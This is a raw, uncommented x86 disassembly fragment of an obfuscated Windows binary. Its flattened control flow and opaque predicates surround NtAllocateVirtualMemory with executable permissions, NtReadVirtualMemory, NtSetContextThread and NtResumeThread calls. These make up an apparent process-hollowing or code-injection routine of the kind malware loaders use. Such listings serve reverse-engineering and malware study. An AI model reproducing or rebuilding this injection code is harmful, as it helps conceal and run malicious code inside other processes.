mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x150]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 4]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov ecx, dword [0x10069e88]
mov eax, dword [0x10069e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x48bf27e4
mov ecx, 0x46632930
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov dword [ebp - 0x164], 0xf504a901
jmp 0x10010d5a
mov ecx, dword [0x10069e88]
mov eax, dword [0x10069e84]
mov edx, ecx
sub edx, 0x65d287da
sub edx, 1
add edx, 0x65d287da
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x62698f72
mov ecx, 0xa9705826
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov eax, dword [0x10069e88]
mov ecx, dword [0x10069e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcb4ae28f
mov ecx, 0xdf0ceac0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov ecx, dword [0x10069e88]
mov eax, dword [0x10069e84]
mov edx, ecx
add edx, 0x11ad0e1a
sub edx, 1
sub edx, 0x11ad0e1a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1d415a8d
mov ecx, 0xe295a1c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10011a50
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x154]
mov eax, dword [0x10069e88]
mov ecx, dword [0x10069e84]
mov edx, eax
add edx, 0xa83ac81f
sub edx, 1
sub edx, 0xa83ac81f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7b2b9bed
mov ecx, 0x31e3cf1a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov ecx, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x138]
mov edx, dword [ebp - 0xb4]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x164], 0x90058d21
jmp 0x10010d5a
mov eax, dword [0x10069e88]
mov ecx, dword [0x10069e84]
mov edx, eax
add edx, 0x69153578
sub edx, 1
sub edx, 0x69153578
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x201e46c
mov ecx, 0x525a4fbf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov dword [ebp - 0x164], 0x793970cf
jmp 0x10010d5a
mov dword [ebp - 0x164], 0x367ca28f
jmp 0x10010d5a
mov dword [ebp - 0x164], 0xc7e5b4e
jmp 0x10010d5a
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
add eax, 0xf144da4f
sub eax, ecx
sub eax, 0xf144da4f
mov ecx, dword [ebp - 0x84]
add ecx, eax
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov dword [ebp - 0x164], 0xfd345343
jmp 0x10010d5a
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x164], 0xdd7513c2
jmp 0x10010d5a
mov eax, dword [ebp - 0x40]
mov edx, dword [eax]
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x44]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov dword [ebp - 0x164], 0x9840c941
jmp 0x10010d5a
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x160]
mov eax, dword [eax + 0x34]
add ecx, 0xfc7512ac
sub ecx, eax
sub ecx, 0xfc7512ac
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x164], 0xe6a06ebc
jmp 0x10010d5a
mov dword [ebp - 0x164], 0xeb13d4cb
jmp 0x10010d5a
jmp 0x100097d0